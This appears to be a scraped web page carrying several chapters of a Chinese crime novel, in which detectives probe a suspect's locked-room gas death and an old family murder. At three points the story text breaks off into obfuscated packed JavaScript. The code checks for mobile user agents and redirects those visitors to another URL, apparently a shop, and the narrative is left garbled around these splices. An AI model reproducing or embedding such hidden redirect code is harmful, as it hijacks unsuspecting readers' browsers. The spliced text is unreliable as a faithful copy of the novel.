“你有没有发现这些鞋印有什么特别之处?” 夏木棉接过细看,只见照片里的几处鞋印是既凌乱又清晰。 她看了又看:“鞋印看起来算是清晰的,但边缘的印痕比中间的浅,而且这几个鞋印很明显压力分布不均……” “对。”陆从景鼓励她继续分析。 夏木棉推测:“凶手穿了不合脚的鞋!他的脚比44码要小。由此可以推断,真凶确实不是崔雄伟。凶手只是模仿他。一般情况下,脚的大小跟身高有一定关系。鸭舌帽男子身高比较矮,他的脚应该比较小。” 陆从景赞同木棉的推断:“鸭舌帽男子手上拿的帆布袋,装的很可能就是他换下来的皮鞋,还有其他作案工具。” “应该是的!”夏木棉情绪比刚才缓和了一些,“许忠身高在170CM以内左右,不知道他穿多大尺码的鞋,晚点或者明天我去观察一下。” 陆从景:“他穿41码的鞋。” “你怎么知道。” “上次我在你三叔家门口仔细观察过。” 这让夏木棉不得不佩服陆从景观察入微。 但这些都不是直接证据,很难证明许忠就一定是凶手。 “师兄,有一点我没想明白,如果是张芷琼雇凶杀人,那她为什么不请更为专业的杀手呢?她怎么会找许忠这么个普通老百姓来行凶?许忠的动机是为了什么?为了钱吗?” 陆从景看着软木板上的张芷琼,“只是推测,幕后主谋不一定就是张芷琼。张芷琼只是目前嫌疑最大的,再加上张越凝助理沈青的转账记录,这不可能完全是巧合。” 夏木棉:“我回去调查一下许忠那边的情况。” 同时她又有点替曾晖担心,她看着张芷琼左下角张越凝的照片,“如果张越凝真的是帮凶,当年她只有17岁,也要承担法律责任吗?” “这不是我们要操心的事。你不要在她面前露馅了。”陆从景提醒。 “知道。”夏木棉微微蹙眉,“不过……我直觉,张越凝是无辜的。她助理沈青转出去的钱,也有可能是她母亲张芷琼直接安排的呢?” 陆从景:“为了把女儿拖下水,所以特意安排女儿的助理去付这笔钱?” “会不会是张芷琼没有其他信得过的人?等我明天去查一下这个沈青。” 陆从景从抽屉拿出一个文件袋递给木棉,里面是沈青的资料。 沈青,西北某省人,跟张越凝是大学同学,两人在大学期间住同一个寝室,关系非比寻常。 “你认为张芷琼能越过张越凝去指挥沈青吗?当然,如果她们落网,张芷琼和沈青要保张越凝,她们可能会提前串好供词,否认张越凝是知情者。” 夏木棉重重呼了口气,“有这个可能性。” * 夏木棉回到机械厂家属院已经将近7点。 刚进小区,就碰见住9栋的关盛勇在遛狗。 “木棉!” 夏木棉单脚撑住自行车,“关叔,有事?” “小宇和你姐的案子,调查的怎么样了?”关盛勇牵紧自家的狗,关切问道:“凶手抓到了吗?” 夏木棉摇头,没详细说:“还在调查。” 关盛勇是梁小宇的姨丈,他叹道:“警察要我们去做DNA检测,你也知道,我们这边亲戚跟你大伯关系闹僵了。小宇舅舅坚决不让我们几个去提取DNA,所以我们就没去。不过你放心。我们是亲人啊,我们肯定不会是凶手。” 夏木棉知道因大伯母自杀的事,大伯母娘家人跟她大伯都撕破脸成仇人了,她能理解。 “关叔,一码归一码。如果你们希望早日找到杀害小宇哥的真凶,那完全应该配合警方去做个DNA检测。流程很简单,不痛不痒,也不需要你们花钱。” 关盛勇尴尬笑了笑,“我回头劝劝他们。” 也没聊几句,木棉脚下一蹬,骑着自行车回家去。 她爸妈的凉菜摊子最近都没开,家里依然是老爸做好菜,等着她回来。 见她进门,在剥蒜的夏至民赶紧起身:“回来了,快去洗手准备吃饭。” “怎么又剥那么多蒜?” “我们打算明天开摊。”免得天天在家胡思乱想。 木棉是赞同爸妈分散注意力的,“中午就别在小区摆了。” 周围邻居总爱来瞎打探消息。 “我们也是这么想的,就下午去菜市场摆个晚市。” 饭桌上,钟静把木棉爱吃的酸辣土豆丝放她面前,小声探问道:“有进展了吗?” “有一些新思路,可能要过一段时间才能有结果。” 夏至民听了,也担心小女儿压力太大:“爸妈相信你们。你啊,不要有太大压力。” “知道。”夏木棉吃着土豆丝,她敲边鼓问:“爸,妈,10年前,咱们院子里这些邻居经济条件是不是都不太好?” 夏至民:“提前下岗又没找到工作的,肯定不行。就像贾伟东,又懒又滑头,只靠马月娥一个人打零工赚钱养家,他家条件就不行。” “我看他们家吃的用的也不算差。” 钟静这段时间瘦了一大圈,吃什么都没胃口,对什么也都没兴趣,但为了不让女儿担心,也是努力参与聊天话题。 夏至民:“那是他老汉有退休金。” 木棉又问:“卢照麟呢?” “卢照麟比贾伟东要好一些。那两年他给人看鱼塘,没多少钱,也穷。后来去了玉器厂就好很多了。” “许忠呢?”木棉终于把话题扯到正轨上。 夏至民:“许忠?他一直在厂里上班,他家还可以。” 钟静:“他女儿生病,那几年花了好多钱,他家最困难了。” “不是吧。他女儿生病不是早几年吗?” “就是那几年。” “不是,你记错了,许妞儿生病是千禧年的事。”夏至民不敢相信自己记性那么差了。 “不是千禧年,就是03、04年,我们刚搬进来……” 正说着,有人敲门。 坐在最外面的夏至民去开门。 是戴丽华来了。 她手里提着饭盒,“你们在吃饭?正好,我们刚才在一家特别好吃的私房菜馆吃饭,二嫂不是喜欢吃鳝鱼吗?就打包了一份黄焖鳝鱼段回来。” 她是心疼钟静吃不下饭,瘦了这么多,特意打包回来的。 夏至民接过打包盒,“哎呀,你真是,你这么打包,也不怕让小晖女朋友看笑话。” “你说越凝啊?她不会的,特别孝顺的孩子。我说要个中份就行,结果她还偷偷打包了大份的。” 夏木棉站起身:“三婶,你们跟越凝姐出去吃饭了?” “是啊,下午去看房子,晚上你凝姐请吃饭,六点多就吃完了。” 夏至民问她:“你们看了哪里的房子?” “云麓庄园。”戴丽华熟门熟路,自己换了拖鞋走进来。 要是平时钟静肯定会夸赞羡慕,只是最近她没心思,就只道:“那小区好。” 五百万呢!能不好吗? 戴丽华忍着没炫耀,她知道现在炫耀也不合适。 夏至民想起刚才他们有分歧的问题,便问戴丽华:“哎,许忠闺女生病,你记得是哪一年吗?” “许忠?我想想。怎么突然问起这个?” 现在还不能透露更多,夏木棉解释:“我们在做调查,领导让我们把所有邻居家发生的大小事都要调查清楚。” 钟静问:“是0304年吧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852685|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏至民:“我记得是千禧年。” 戴丽华家跟许忠家是左右邻居,两家关系向来很好,她还比较了解。 “应该是04年,我们是2004年初从老家属院搬过来,当时各家交了房款,手上都没钱,许妞儿生病,把许忠给愁的,我们家老曾跟他关系好,七挪八凑借了他五千块,但远远不够,后来不知道谁借了他一大笔钱,才算凑齐了手续费。” 那时间和缺钱的动机都对上了。 夏木棉不动声色地问:“谁借了他钱?” “好像是他的老同学,具体我也不清楚。”戴丽华看他们桌上就一个酸辣土豆丝,一个清炒莴笋,她心疼他们,又不好多说,只道:“快把鳝鱼段装出来,凉了不好吃。” 夏至民从厨房拿了个大盘子出来,鳝鱼段分成两个打包盒打包的,有点多了。 “我们吃一盒就好,另外一盒你拿回去,你们明天吃。” 戴丽华摆手:“家里冰箱还有菜呢。” 夏至民:“要不给大哥拿一盒。” 这个点梁国邦应该也在吃饭,而且夏木棉有事要去问他,她说:“我去送给大伯。” “快去吧,趁菜还是热的。” 戴丽华赶紧从包里拿出一盒胃药,“木棉你刚好把这个药带去给你大伯。” “什么药?” “胃药,你三叔买给你大伯的。你大伯现在是越来越不爱护自己了,胃疼让他去医院看看,他不去,不给他买药,他是连药也不吃的。” 兄弟三人,也就老三家还算正常,曾立兴戴丽华夫妇难免要多为他们操心。 夏木棉拿了饭盒和胃药,穿鞋出门,从她家去后面15栋上三楼,走快点,两分钟就能到。 梁国邦果然也在吃饭,他更简单,就一碗鸡蛋面,连片菜叶都没有。 放下东西,夏木棉问她大伯,小宇哥出事那几天,许忠有没有来过他家。 梁国邦想了很久,最后还是摇头:“我没什么印象。” 等木棉回到家,吃了晚饭,接到她大伯打来的电话。 “大伯,什么事?” 梁国邦:“我刚问了你三叔,小宇和你姐姐出事头两天你三叔不是肾结石手术住院吗?你三叔帮不了忙,就找了许忠帮忙寻人,许忠还来我家开了两次寻人碰头会。” 那许忠完全有机会偷走梁小宇的泳衣。 夏木棉第一时间把掌握的最新信息发给陆从景。 翌日,陆从景让她把掌握的情况汇报给组长刘泰安。 刘泰安知道陆从景一直在暗中调查张皓钧的案件,一个凶手承认了的、证据确凿的铁案,他原以为是陆从景魔怔了,现在看来,确实有很大的想象空间。 昨天下午他们把许忠请来做了笔录,还提取了DDNA,他问田海亮:“DNA结果什么时候能出来?” “最快明天。头儿,要等吗?” 刘泰安:“别等了,再找个借口把许忠请回来协助调查。” 田海亮当即和小耿去花鸟市场找许忠,结果许忠今天没上班。 到他家也没找到人。 同层住户也只有贾伟东的老父亲在家,老爷子不知道许忠的情况。 拨打许忠手机号码则显示关机。 一直到晚上都没消息。 当天夜晚临睡前,戴丽华坐在床上用平板看电子小说,忽然听见隔壁许忠家“锵”的一声脆响。 “听见了吗?”她问正在掏耳朵的曾立兴。 曾立兴站起身,耳朵贴到墙上,“可能是老许回来了。” 戴丽华放下平板,静静听着。 好像又听不见声音了。 翌日清早,戴丽华不到六点就起床洗漱。 刚准备出门买早餐,就闻到了一股淡淡的煤气味儿。 打开大门,浓郁的煤气味扑面而来。 楼上的老蔡正轻手蹑脚在楼梯口张望,似乎被突然开门的戴丽华吓了一跳。 “哎哟!丽华,你家漏煤气了?” “不是我们家。”戴丽华嗅了嗅,“好像是许忠家的。” 她赶紧拍门,“老许!老许!” 正在刷牙的曾立兴也从屋里头出来了,“怎么回事?” 同时,已经被警方放回来的贾伟东也打开了门,“是不是漏煤气了?” “不会爆炸吧?” “快报警!” 几分钟后,消防来破门,许忠煤气中毒,死在了卧室里。 11.第11章 许忠一氧化碳中毒死了。 他侧躺在卧室床上,死的还算安详。 厨房里的家用煤气罐阀门被打开,两个煤气炉没有点火,但被拧开到最大。 门窗全封闭,阳台门缝用旧衣服塞住,大门从里反锁,现场是一个完全封闭的密室。 陆从景接到夏木棉的电话就开车过来了,现场已被警方封锁,门口围了不少人。 戴上手套后,陆从景先仔细看了门锁。 这是一款老式弹子门锁,如果从里面旋转锁纽反锁后,外面用钥匙是打不开大门的。 餐厅桌上放着一个装过西瓜的铁盘,铁盘里还流淌着西瓜汁。 桌下垃圾篓有几块吃得很干净的西瓜皮。 客厅朴素陈设凌乱,角落放着一个旧式冰箱。 打开冰箱门,冷藏室放了几瓶罐装苹果醋、半袋炒花生,最外面是半个吃剩的西瓜。 走出阳台 ,阳台上安装了不锈钢防盗网,防盗网没有逃生口。 往回走,进了厨房。 厨房面积不大,但有大小两扇窗户。 上面的小窗户以前应该是装排风扇的,后来安装了抽油烟机,就把排风扇改成了一个往外开的平开小窗户。 小窗户从里面锁上了。 而下面的大窗户已经打开通风。 很奇怪的是,这厨房并不算干净,多少有些油污,唯独窗户这一面墙的瓷砖非常洁净,像是被特意清理过。 窗户边上的台面倒了一个玻璃罐子,罐子旁有一大滩液体,无色无味,看样子是水。 走出厨房,对面就是许忠的卧室。 许忠遗体被抬到阳台急救没成功,又被放回床上,他嘴唇有一氧化碳中毒后特有的樱桃红色,嘴角鼻腔有少许泡沫异物,死前应该有抽搐。 木棉进来跟他汇报情况:“消防员进来的时候,窗户都是关死的。现场暂时没发现第二人的痕迹。另外,许忠在凌晨给他女儿发了一条微信。” “发了什么内容?” 木棉已经拿到了微信截图,她把手机上的图片打开,递过去…… 陆从景低头看了一眼。 【照顾好你妈妈。】 就一句话。 发送时间是凌晨4点。 所以这是自杀?畏罪自杀? “许忠的手机是在哪儿被发现的?” “就在床上。” 陆从景在现场又转了一圈。 刑侦3组其他组员和法医陆续都到了,陆从景没再久留。 从许家出来,正在门口跟戴丽华说话的夏木棉赶紧招手叫他:“师兄!” 看样子是有新发现。 他走过去,跟着夏木棉去了戴丽华家。 因为有邻居在门口张望,戴丽华干脆关上大门。 曾立兴坐在沙发上发呆,脸色不太好。 谁都没想到许忠会这么死了。 “我三叔三婶说,昨晚听见老许家有动静。” “几点钟,什么动静?” 戴丽华说:“大概十一点左右,我们准备睡觉了,忽然听见隔壁传来‘锵’的一声响,之后听见拖拽箱子的声音。” 陆从景疑惑:“拖拽箱子?” “我没听见,老曾听的比较清楚,他说像是拖拽箱子或者挪动实木沙发的声音。” “之后呢?” 戴丽华摇头:“后来我们就睡了,我睡的沉,没听见动静。早上起来就隐隐约约闻到煤气臭味。想想都后怕,这要是爆炸了,我们都得遭殃啊……” 木棉:“是很危险。” 陆从景略作思忖,便吩咐木棉:“提醒他们仔细勘察床底和沙发底下的情况。” 夏木棉应了一声。 果然,没过多久,警方在床底下的一个木箱子里,找到了一个白色帆布袋。 帆布袋里有双44码的旧皮鞋,一对劳工手套以及一瓶过期乙/醚。 所以,许忠就是那天戚振勋在百步中学后山看见的鸭舌帽男子?! * 百步刑侦大队小会议室的办公桌上堆满了资料,3组的组员都在。 “现有的证据都指向许忠是畏罪自杀。但有一点很奇怪,法医根据肝温判断许忠的死亡时间应该是事发凌晨2点-3点之间,可许忠是凌晨4点给他女儿发的微信。” 程栋梁说完,把尸检报告递给刘泰安。 刘泰安问:“现在有技术可以定时发微信吗?” “没有吧?”田海亮说等会儿问问技术科的同事。 程栋梁直接上网搜索,“没有这样的技术。” 田海亮:“差一个小时,也有可能只是技术误差。而且这是密室自杀,现场没有第二人出现的痕迹。不过,我们还没正式调查许忠,他为什么要自杀?” 小耿判断:“心虚!他可能没想到夏木橙的遗骨会被发现,更何况我们接连找了他几次,他肯定会心虚,以为我们已经掌握了足够的证据。” 刘泰安看向陆从景,“你怎么看?” 陆从景前面的会议桌上什么资料都没有,他来开会,连本子都没带。 “我认为不能排除他杀。” 众人互相看了一眼,坐陆从景旁边的夏木棉也不由侧头看向他。 “说说你的论据。” 陆从景:“两点。第一点,就是发微信时间和法医判断死亡时间不符。如果许忠要自杀,他应该不会等到快断气才给女儿发微信,他死亡时间是凌晨2-3点,但他中毒时间肯定在2点之前,他是怎么熬到4点才发微信的?这个误差绝对不止1个小时,也不止2个小时。” “第二点,根据许忠家人提供的线索,许忠喜欢吃西瓜。他死前吃了半个西瓜,西瓜皮刨的很干净,都吃到白瓤了。另外半个没吃,他用保鲜膜封好,放进了冰箱。一个喜欢吃西瓜,准备要自杀的人,他为什么不把中间最好吃的部分全吃了?而是省下一半放进冰箱?那只有一种可能,放进冰箱的那一半,是他留给自己第二天吃的!” 有道理。 程栋梁思维也很活,她赞同陆从景的判断,不过也有疑问。 “如果是他杀,那凶手怎么离开呢?已知大门是从里面反锁,外面用钥匙打不开,所有的窗户都锁上了,而且窗户和阳台都有防盗网,根本出不去。” 陆从景声音淡淡地说:“这就需要我们去破解了。” 刘泰安:“动机呢?动机是什么?” 陆从景:“藏匿夏木橙尸骨的地藏王菩萨雕像,被凶手从一楼搬到七楼,一个人是搬不动的。所以凶手肯定不止一人。目前许忠已经被警方怀疑,如果许忠暴露,那么,他那位还没暴露的同伙,有充分的动机杀许忠灭口。” 这个动机很充分。 笃笃笃! 有人敲门后,推开会议室门。 前两天做的DNA检测报告出来了。 坐在最外面的小耿接过报告,翻开后细看。 “头儿,所有去检测的夏梁两家亲朋、家属院成年男性和百步中学老师,都跟夏木橙腹中胎儿没有亲缘关系,包括许忠。” 所以,囚禁□□夏木橙的不是许忠,而是许忠还没暴露的同伙。 刘泰安问:“还有多少人不配合,没做DNA检测的?” 田海亮:“机械厂家属院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857386|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和百步中学去做检测的有25人,预算有限,我们也不可能让所有人都做检测。夏木橙亲戚比较配合,都做了检测,梁家那边梁小宇的舅舅、姨丈和三个表哥,在叶红梅自杀后,跟梁国邦闹掰了,全都拒绝提取DNA。” 刘泰安:“既然确定了是熟人作案,接下来,重点还是要对机械厂家属院的住户和百步中学当年的师生进行更为详尽的调查。梁小宇家的几个亲戚要重点突破。而许忠死亡案既然不能排除他杀,那就必须要破解究竟如何密室杀人。还有许忠最近的行踪、他联系和接触过的人要一一进行调查……” 每一件事背后都是海量的工作。 田海亮双手叉腰,为难道:“头儿,我们人手严重不足。” 刘泰安:“晚点我去跟陈队同步案件信息,顺便要人。” 小耿建议:“2组那边最近不是闲下来了吗?跟他们要点人呗。” 2组要是全组参与,那2组的组长势必要压刘泰安一头,刘泰安并不想失去掌控权,他没吱声。 田海亮比较醒目,他跳过这个话题,“对了,现场找到了戚振勋提及的帆布袋,里面的皮鞋鞋印,我们自己初步判断,跟张皓钧案现场鞋印基本一致,目前还要等司法鉴定所那边给我们初步的鉴定报告。如果鉴定报告出来,结果跟我们判断一致的话,是不是就可以申请重启张皓钧案的调查?” 四个案件进行并案,那可真就是大案了! 刘泰安颇有些犹豫:“我跟陈队汇报下情况。不过即使张皓钧案不重启,我们该调查的还是要调查。” 主要是人手不足,很多工作不能全面铺开。 * 夏木棉陪着陆从景再次来到机械厂家属院13栋3楼的许家。 陆从景来进行复勘,想要寻找之前可能被忽略的细节。 他试着去拖拽床底下的木箱,去一个个打开窗户,观察窗户外的防盗网…… 打开厨房顶上的平开小窗户时,他发现小窗户的旋转把手,有一道很新鲜的划痕。 应该是被尖锐利器给划掉了表面的漆。 陆从景拿手机拍下了照片。 差不多一个小时后,他们才走出许家大门。 木棉把许家大门反锁上,恰在此时,隔壁戴丽华家的房门打开。 只见张越凝从屋里走出来,她看见他们,微笑着打招呼:“木棉。陆顾问。” 她竟记得他。 陆从景诧异之余,下意识看了眼自己的穿着。 雾霾蓝T恤,卡其色长裤,干净到没有半点灰尘的白色老爹鞋。 普通,也不丢人。 夏木棉没想到张越凝会在三婶家。 她挤出笑容:“凝姐!你在呀?我三叔三婶在家吗?” 张越凝今天身穿米色衬衣配咖色长裙,除了口红,几乎没化妆,美的很自然。 “他们有事出去了。”张越凝锁上房门,准备离开。 陆从景难得绅士风度,侧身给她让了个位置,让她先走。 经过他前面时,张越凝忽然停住脚步。 她回头看着他们,“我想找你们聊聊,方便吗?” 夏木棉很是愕然,心想是不是哪里出了纰漏,让张越凝觉察了? 陆从景装的比较淡定,“去我车上聊。就在楼下。” 在楼下聊,张越凝显然有顾虑,“我中午有事。下午你们有没有时间?” “可以。”再忙他也得抽出时间来。 张越凝拿出手机,“我加你微信,晚点我发地址给你。” 对于不知道是鱼还是鱼饵的张越凝,陆从景从善如流,他打开二维码递过去。 12.第12章 陆从景和夏木棉在13栋楼下转了一圈,观察3楼户外的情况。 可以看见许忠家厨房的两个窗户,上面的平开小窗是唯一没有安装防盗网的,小窗户旁边就是一根铸铁下水管。 “案发时间你确定小窗户是里面锁死的?” 木棉是第一个到现场的警察,“我来的时候,其他窗户都打开了通风,就上面这个小窗户因为比较高,没有打开,但窗户里面的旋转把手是卡紧的。” “消防破门时还有谁在现场?” “贾伟东和他老婆马月娥,我三叔三婶,报警的蔡叔夫妇,楼上楼下的邻居……”夏木棉想了想,“对了,还有关盛勇也在,他是梁小宇的小姨父。” 陆从景记得这个不配合提取DNA的人:“他也住13栋?” “不是,他住9栋,那天他刚好在楼下遛狗,听见动静上来看热闹。” “带着狗上来?” “带了狗。我来的时候,遇见他骂骂咧咧下楼,据说他把狗拴在楼梯扶手上,他自己进去趁热闹,被邻居们骂了。” “当时消防已经破门了吗?” “破门了。” 陆从景思忖着往前走,没再说什么。 他看了眼手机,微信上没动静,张越凝还没把地址发来。 张越凝的微信头像是一把撑开的蓝色雨伞,雨伞上都是雨滴,微信名就是她的名字。 他点进张越凝的朋友圈,只有一条直线,不知道她是没发朋友圈的习惯,还是把他屏蔽了。 * 在仁和医院停车场停好车,刚下车,就看到旁边停着一辆绿水晶的保时捷Panamera。 张越凝顿住脚步,看过去,只见张蕤帆从车上下来。 她笑着歪了歪脑袋:“你怎么又开我车?” 张蕤帆比她大一岁,是她外公现任伴侣的孙子,在鸿达集团担任要职,能力很强,个性也很强。 “姑姑让我开的,她说你这车两三个月没开了,让我遛遛。”他自己也有豪车,帮她遛车纯粹是为了维护两家关系。 张越凝挺讨厌她妈妈自作主张瞎安排,但她跟张蕤帆关系还不错,便也没说什么。 张蕤帆问她:“有好车你不开,天天开辆破大众,你怎么想的?” “我老板也就开凯美瑞。” “理解。” 张蕤帆知道张越凝的性格不喜张扬,这辆保时捷也是张鸿禺去年为了平衡张芷琼的不满情绪,送张越凝的生日礼物。 情绪价值大于经济价值。 张越凝问他:“你是刚来,还是准备走了?” 张蕤帆耸肩:“刚来,然后准备走了。你姑奶奶还有大赖小赖一家人在楼上溜须拍马,我懒得掺和。” 又是他们! 张越凝也没评价,只笑道:“那我先上去了。” “车我晚上给你开回去。” “好。” 到了住院部特需病房,看见张蕤帆的奶奶彭秀正在客厅把客人送来的花插进花瓶里,而病房里传来说话声。 “奶奶。” 彭秀和张鸿禺没有领证,但他们在一起二十多年了,家里孙辈自小都是喊她奶奶。 彭秀七十岁左右,保养的很好,她下巴往里一抬,“你爷爷今天状态不错。” “是吧?”张越凝笑着走进病房,只见姑奶奶张红芳和她儿子赖文斌、孙子赖嘉和正围着张鸿禺看一本杂志。 那本杂志上新刊登了他们对张鸿禺的深度报道。 “越凝来了,你外公的最新报道,你看了吗?你表舅安排的。”姑奶奶特别喜欢强调张越凝的外孙女身份。 赖文斌在鸿达集团做副总,专管品牌、内宣和采购,这本就是他的工作职责。 张越凝笑道:“我昨天念给爷爷听了,写得很有深度。” 赖文斌和他母亲对待张越凝的态度是一致的,既瞧不上,又不得不维持好关系,他只微笑着说:“业内影响深远,对鸿达未来布局有很大好处。不过,这不是法律问题,说这些你可能不懂。” 姑奶奶接过话题:“越凝以后是要做大律师的。” 反正不是回鸿达继承家业。 张越凝嘴角往上弯起,回他们一个不失礼貌的假笑。 赖文斌的儿子赖嘉和比张越凝小两岁,张越凝跟他关系还算可以。 张越凝问他:“嘉和,你是不是认识骆安乔?” “认识啊,我们很熟。怎么了?” “骆安乔前段时间跟人打架,把人打成重伤了。他这个案子,我们律所想接,你方不方便帮忙牵个线?” 赖嘉和忙点头:“没问题,我帮你问问。不过他老爸是汇海贸易的老板,他们家应该早请律师了。” 张越凝:“我老板听说他们家请的律师团队出了状况要换人,才想着让我争取争取。” “我等会儿帮你问。” 老爷子张鸿禺叮嘱赖嘉和:“介绍生意可以,但还是少跟汇海的人来往,他们是捞偏门起家的,底子不干净。” 赖嘉和澄清:“舅爷爷放心,我心里有数。” 对于张越凝当着老爷子的面暗示赖嘉和跟汇海太子爷关系熟络,赖文斌颇有些不高兴,他阴阳怪气地说:“帮越凝介绍生意,打几通电话可以,平时还是少跟汇海的人来往。” 张红芳袒护孙儿:“有什么可担心的,嘉和做事有分寸,这不是要帮越凝的忙么。” 护工端着花瓶进来了,彭秀跟在后头。 “十二点了,准备吃午饭了吧?” 张鸿禺合上杂志,这才问孙女:“你吃饭了吗?” “还没呢。”张越凝把手提包放旁边的椅子上。 “那正好,你陪爷爷吃午饭。红芳你们先回,你刚才说的事,我心里有数。”张鸿禺注重亲情,他对妹妹一家素来很好,并把妹妹的儿子儿媳孙子都安排进鸿达集团工作,委以重任,高薪厚职养着。 赖文斌也识趣:“妈,我们先回吧,周末再来看大舅。大舅大舅妈,我们回去了。” 等姑奶奶一家离开,张越凝陪爷爷奶奶吃午饭。 饭后,张鸿禺午休。 张越凝没急着走,她坐在外面客厅沙发上小憩。 曾晖发微信问她中午吃什么,她把刚才跟爷爷吃饭时拍的照片发了过去。 彭秀拿起一根小小的皇帝蕉,剥好皮后递给了张越凝,她压低声音说:“你姑奶奶想把小赖过继给你爷爷做孙子。” 张越凝吃着香蕉,问:“刚提出来的?” “是啊,说得很小声,看我进去就不说话了,提防我呢。帆帆改姓张之后,他们心里一直不高兴,我们当初让帆帆改姓,那是为了安抚你爷爷,没别的想法。他们不一样,我听你妈妈说,他们是想要占大头的。”彭秀叹了一声,“都是为了钱,哪儿有什么亲情。” 张越凝知道姑奶奶一家想要吃绝户的如意算盘已经打了很久,算盘珠子都快蹦到她脸上了。 但这事,姑奶奶不太可能得逞,毕竟她妈张芷琼也不是吃素的。 一点左右,张越凝先行回律所,处理完手上的事务,才给陆从景发了地址和时间。 * 临城是一个以休闲文化著称的边陲小城,老城区里,到处都是茶馆和书吧。 老年人去茶馆,喝茶打牌。 年轻人去书吧,也是喝茶打牌。 当然书吧还能团建,能开商务会议,能讨论方案。 张越凝给陆从景发来的地址,就是一家闹市区的书吧。 青桐书吧是一栋三层楼的老洋房,门口锈迹斑斑的铁门看着已经有些年头。 书吧内的装饰非常简洁粗线条,有点工业年代风,这种风格的装修和维护成本都比较低,有特色,年轻人也喜欢。 这个点,书吧的客人并不多,木棉和陆从景一前一后上了二楼,敲门走进205包厢。 张越凝比他们早到,她正抱着笔记本电脑在打字。 桌上放着果盘、点心和一壶花茶。 “凝姐。”木棉笑着打招呼。 张越凝收起笔记本电脑,起身迎接他们:“我只点了茉莉花茶,你们看看要喝什么饮料。” 陆从景不挑,“喝这个就行。” 为了避免不熟悉的尴尬,坐下后,木棉找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860517|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个话题,“这个书吧挺有意思的,我看楼下还有很多猫咪。” “这里私密性不错,这个点没多少客人。”张越凝给他们倒茶。 她说话的声音跟她人一样,永远温柔,有礼。 陆从景十指交叉握在前面,他看着她,开门见山道:“不知道张小姐约我们来,是想聊什么。” 张越凝微微低头思索着,少顷,她才说:“聊张皓钧。” 听到张皓钧的名字,陆从景刚才还带着笑意的脸慢慢沉了下来。 这是预料中的。 她问:“崔雄伟被执行死刑之前主动找过你,他跟你承认我表弟张皓钧不是他杀的,是吗?” “你听谁说的?” 张越凝坦诚道:“一个同行。” “你这位同行是什么时候告诉你这件事的?”陆从景继续反问。 “崔雄伟跟你见面没多久,我就听说了。后来我问了一些朋友,知道警方找崔雄伟核实过真伪,崔雄伟又咬死张皓钧是他杀的。所以,我就没再跟进这件事。” “那你现在为什么又来找我呢?” 张越凝抿唇,“戚振勋给我打电话了。” 她抬起她那双无辜的、水润润的眼睛,“你们认为我杀人了?” 陆从景尴尬了,这个搞师生恋的到现在还不婚的戚老师,果然是个恋爱脑。 他不可能让张越凝窥探他们已经掌握的信息,便解释:“我只是吓唬他,逼他说真话,我们平等地怀疑张皓钧身边的所有人,没有特别怀疑你。” 夏木棉也澄清:“凝姐,我们怎么可能怀疑你杀人呢。” 张越凝浅浅一笑,“你们应该怀疑我。” 夏木棉:“……” 这位张小姐真有意思。 从果盘里捡起开心果来剥壳,陆从景语气平静地问:“‘应该怀疑’是怎么个说法?” “你们肯定以为,皓钧死后,我是最大受益人。” 他们确实是这么认为的,陆从景没承认,但也没否认。 “实际上呢?”他问。 张越凝:“我爷爷也就是我外公,如果他想要栽培我,我毕业后肯定会进鸿达集团历练,哪怕从基层做起。但他没给过我机会。他从来没把我当成继承人培养过。我现在就只是个普通律师,对企业管理一窍不通。” 这也是陆从景一直以来好奇的点。 “你爷爷为什么不培养你?” 张越凝放下手中的茶杯,“因为……我不是我妈亲生的,我是她抱养的孤儿。” 陆从景很意外。 张越凝的所有档案资料都显示,张芷琼就是她的亲生母亲。 以前的年代,有钱人想要资料作假,还是很容易的。 陆从景质疑:“但是,2004年张鸿禺立遗嘱的时候,是给你分了遗产的吧?” “皓钧死后都取消了。爷爷第一份遗嘱给我分遗产,也是因为当时他跟我妈妈在闹矛盾,他才把原本给我妈的那一份,写到了我名下,实际那是给我妈的。我很小的时候,妈妈就警告我……不要妄想得到更多。”张越凝说最后半句的时候,语气带了点故作轻松的酸涩。 木棉明白过来,或者张越凝喜欢曾晖还有另外一个原因,那就是她喜欢曾家温暖的家庭氛围。 陆从景查了张越凝很多资料,他忽然发现,自己好像不认识她。 “我现在得到的,已经是普通人可望而不可求的,我有豪车有豪宅有存款,衣食无忧,我很知足。我希望以后能过平淡幸福的生活就足够了。” 陆从景盯着张越凝那张冷白而又柔和的脸,没说话。 木棉鼓励她:“凝姐,你可以的。” 张越凝微笑着点了点头,“我知道。” 陆从景把话题拉了回来,“所以,张小姐这次约我们出来,就是为了告诉我们,你没有作案动机,是吗?” 张越凝摇头:“我没做过的事,不需要额外澄清,我相信警察不会冤枉好人。我找你们,是想跟你们说,皓钧的案子,我有怀疑的人。” 